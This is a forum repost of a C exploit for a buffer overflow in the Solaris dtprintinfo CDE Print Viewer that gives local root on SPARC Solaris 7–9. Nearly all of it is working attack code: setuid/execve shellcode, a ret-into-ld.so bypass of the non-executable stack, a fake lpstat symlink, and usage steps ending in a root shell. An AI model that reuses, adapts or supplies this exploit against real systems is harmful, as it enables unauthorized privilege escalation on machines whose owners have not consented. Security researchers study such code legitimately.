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Solaris 7/8/9 (SPARC) - (dtprintinfo) Local Privilege Escalation (2) Exploit

NasyoneL

NasyoneL

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25 Ağu 2017
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/*
 * raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC
 * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>
 *
 * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
 * local root. Many thanks to Dave Aitel for discovering this vulnerability
 * and for his interesting research activities on Solaris/SPARC.
 *
 * "None of my dtprintinfo work is public, other than that 0day pack being
 * leaked to all hell and back. It should all basically still work. Let's
 * keep it that way, cool? :>" -- Dave Aitel
 *
 * This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able 
 * to bypass the non-executable stack protection (noexec_user_stack=1 in 
 * /etc/system).
 *
 * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory 
 * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes).
 *
 * Usage:
 * $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_dtprintname_sparc2 192.168.1.1:0
 * [...]
 * # id
 * uid=0(root) gid=10(staff)
 * #
 *
 * Tested on:
 * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1
 * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
 * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10
 * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking]
 */
 
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
 
#define INFO1   "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC"
#define INFO2   "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>"
 
#define VULN    "/usr/dt/bin/dtprintinfo"       // the vulnerable program
#define BUFSIZE 301                             // size of the printer name
#define FFSIZE  64 + 1                          // size of the fake frame
#define DUMMY   0xdeadbeef                      // dummy memory address
 
/* voodoo macros */
#define VOODOO32(_,__,___)      {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___)      {_+=7-(_+(__+___+1)*4+3)%8;}
 
char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
 
/* globals */
char    *env[256];
int     env_pos = 0, env_len = 0;
 
/* prototypes */
int     add_env(char *string);
void    check_zero(int addr, char *pattern);
int     search_ldso(char *sym);
int     search_rwx_mem(void);
void    set_val(char *buf, int pos, int val);
 
/*
 * main()
 */
int main(int argc, char **argv)
{
        char    buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
        char    platform[256], release[256], display[256];
        int     i, offset, ff_addr, sc_addr, ret_pos, fpt_pos;
        int     plat_len, prog_len, rel;
 
        char    *arg[2] = {"foo", NULL};
        int     arg_len = 4, arg_pos = 1;
 
        int     sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
        int     ret = search_ldso("strcpy");    /* or sprintf */
        int     rwx_mem = search_rwx_mem();
 
        /* fake lpstat code */
        if (!strcmp(argv[0], "lpstat")) {
 
                /* check command line */
                if (argc != 2)
                        exit(1);
 
                /* get ret and fake frame addresses from environment */
                ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
                ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
 
                /* prepare the evil printer name */
                memset(buf, 'A', sizeof(buf));
                buf[sizeof(buf) - 1] = 0x0;
 
                /* fill with return and fake frame addresses */
                for (i = 0; i < BUFSIZE; i += 4) {
                        /* apparently, we don't need to bruteforce */
                        set_val(buf, i, ret - 4);
                        set_val(buf, i += 4, ff_addr);
                }
 
                /* print the expected output and exit */
                if(!strcmp(argv[1], "-v")) {
                        fprintf(stderr, "lpstat called with -v\n");
                        printf("device for %s: /dev/null\n", buf);
                } else {
                        fprintf(stderr, "lpstat called with -d\n");
                        printf("system default destination: %s\n", buf);
                }
                exit(0);
        }
 
        /* print exploit information */
        fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
 
        /* read command line */
        if (argc != 2) {
                fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
                exit(1);
        }
        sprintf(display, "DISPLAY=%s", argv[1]);
 
        /* get some system information */
        sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
        sysinfo(SI_RELEASE, release, sizeof(release) - 1);
        rel = atoi(release + 2);
 
        /* prepare the fake frame */
        bzero(ff, sizeof(ff));
 
        /*
         * saved %l registers
         */
        set_val(ff, i  = 0, DUMMY);             /* %l0 */
        set_val(ff, i += 4, DUMMY);             /* %l1 */
        set_val(ff, i += 4, DUMMY);             /* %l2 */
        set_val(ff, i += 4, DUMMY);             /* %l3 */
        set_val(ff, i += 4, DUMMY);             /* %l4 */
        set_val(ff, i += 4, DUMMY);             /* %l5 */
        set_val(ff, i += 4, DUMMY);             /* %l6 */
        set_val(ff, i += 4, DUMMY);             /* %l7 */
 
        /*
         * saved %i registers
         */
        set_val(ff, i += 4, rwx_mem);           /* %i0: 1st arg to strcpy() */
        set_val(ff, i += 4, 0x42424242);        /* %i1: 2nd arg to strcpy() */
        set_val(ff, i += 4, DUMMY);             /* %i2 */
        set_val(ff, i += 4, DUMMY);             /* %i3 */
        set_val(ff, i += 4, DUMMY);             /* %i4 */
        set_val(ff, i += 4, DUMMY);             /* %i5 */
        set_val(ff, i += 4, sb - 1000);         /* %i6: frame pointer */
        set_val(ff, i += 4, rwx_mem - 8);       /* %i7: return address */
 
        /* fill the envp, keeping padding */
        sc_addr = add_env(ff);
        add_env(sc);
        ret_pos = env_pos;
        add_env("RET=0x41414141");
        fpt_pos = env_pos;
        add_env("FPT=0x42424242");
        add_env(display);
        add_env("PATH=.:/usr/bin");
        add_env("HOME=/tmp");
        add_env(NULL);
 
        /* calculate the offset to argv[0] (voodoo magic) */
        plat_len = strlen(platform) + 1;
        prog_len = strlen(VULN) + 1;
        offset = arg_len + env_len + plat_len + prog_len;
        if (rel > 7)
                VOODOO64(offset, arg_pos, env_pos)
        else
                VOODOO32(offset, plat_len, prog_len)
 
        /* calculate the needed addresses */
        ff_addr = sb - offset + arg_len;
        sc_addr += ff_addr;
 
        /* set fake frame's %i1 */
        set_val(ff, 36, sc_addr);               /* 2nd arg to strcpy() */
 
        /* overwrite RET and FPT env vars with the right addresses */
        sprintf(ret_var, "RET=0x%x", ret);
        env[ret_pos] = ret_var;
        sprintf(fpt_var, "FPT=0x%x", ff_addr);
        env[fpt_pos] = fpt_var;
 
        /* create a symlink for the fake lpstat */
        unlink("lpstat");
        symlink(argv[0], "lpstat");
 
        /* print some output */
        fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
        fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
        fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
        fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
        fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
        fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
 
        /* run the vulnerable program */
        execve(VULN, arg, env);
        perror("execve");
        exit(0);
}
 
/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
        int     i;
 
        /* null termination */
        if (!string) {
                env[env_pos] = NULL;
                return(env_len);
        }
 
        /* add the variable to envp */
        env[env_pos] = string;
        env_len += strlen(string) + 1;
        env_pos++;
 
        /* pad the envp using zeroes */
        if ((strlen(string) + 1) % 4)
                for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
                        env[env_pos] = string + strlen(string);
                        env_len++;
                }
 
        return(env_len);
}
 
/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
        if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
            !(addr & 0xff000000)) {
                fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
                exit(1);
        }
}
 
/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
        int             addr;
        void            *handle;
        Link_map        *lm;
 
        /* open the executable object file */
        if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
                perror("dlopen");
                exit(1);
        }
 
        /* get dynamic load information */
        if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
                perror("dlinfo");
                exit(1);
        }
 
        /* search for the address of the symbol */
        if ((addr = (int)dlsym(handle, sym)) == NULL) {
                fprintf(stderr, "sorry, function %s() not found\n", sym);
                exit(1);
        }
 
        /* close the executable object file */
        dlclose(handle);
 
        check_zero(addr - 4, sym);
        return(addr);
}
 
/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
        int     fd;
        char    tmp[16];
        prmap_t map;
        int     addr = 0, addr_old;
 
        /* open the proc filesystem */
        sprintf(tmp,"/proc/%d/map", (int)getpid());
        if ((fd = open(tmp, O_RDONLY)) < 0) {
                fprintf(stderr, "can't open %s\n", tmp);
                exit(1);
        }
 
        /* search for the last RWX memory segment before stack (last - 1) */
        while (read(fd, &map, sizeof(map)))
                if (map.pr_vaddr)
                        if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
                                addr_old = addr;
                                addr = map.pr_vaddr;
                        }
        close(fd);
 
        /* add 4 to the exact address NULL bytes */
        if (!(addr_old & 0xff))
                addr_old |= 0x04;
        if (!(addr_old & 0xff00))
                addr_old |= 0x0400;
 
        return(addr_old);
}
 
/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
        buf[pos] =      (val & 0xff000000) >> 24;
        buf[pos + 1] =  (val & 0x00ff0000) >> 16;
        buf[pos + 2] =  (val & 0x0000ff00) >> 8;
        buf[pos + 3] =  (val & 0x000000ff);
}
 
#  0day.today [2019-05-21]  #